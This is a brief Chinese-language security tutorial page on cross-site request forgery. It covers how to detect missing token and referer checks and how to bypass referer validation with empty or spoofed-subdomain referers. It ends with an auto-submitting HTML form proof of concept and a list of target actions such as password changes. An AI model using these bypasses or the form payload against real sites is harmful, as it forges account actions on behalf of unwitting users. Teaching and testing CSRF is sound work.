跳到主要内容

CSRF

漏洞检测

数据包无token和referer验证:

无token验证并且无referer验证时,就基本存在跨站请求伪造,但基于功能点不同,一些为无意义无危害的跨站请求伪造。提交数据包时抓包删除referer字段,如果不报错,则基本存在跨域请求伪造,GET型构造链接,POST型写一个提交表单,测试有跨域情况下提交的数据包是否生效。

数据包无token有referer验证:

只有referer验证时,可尝试空referer,或者尝试域名伪造。例如只验证referer是否存在bylibrary.cn时:伪造三级域名为bylibrary.cn.baidu.com来绕过referer字段验证;在bylibrary.cn网站下发帖引导别人点击我们构造的CSRF链接或者在此网站下发布我们构造的CSRF表单地址来绕过referer的检测。

漏洞利用

自动提交表单POC:

<html>
<head></head>
<body onload="form1.submit()">
<form id="form1" method="post" action="http://example.com">
<input type="hidden" name="sex" value="2" />
</form>
</body>
</html>

常见场景

在需要验证用户身份的post表单或者get请求处理时,例如修改密码,修改个人信息,删除文件,添加用户等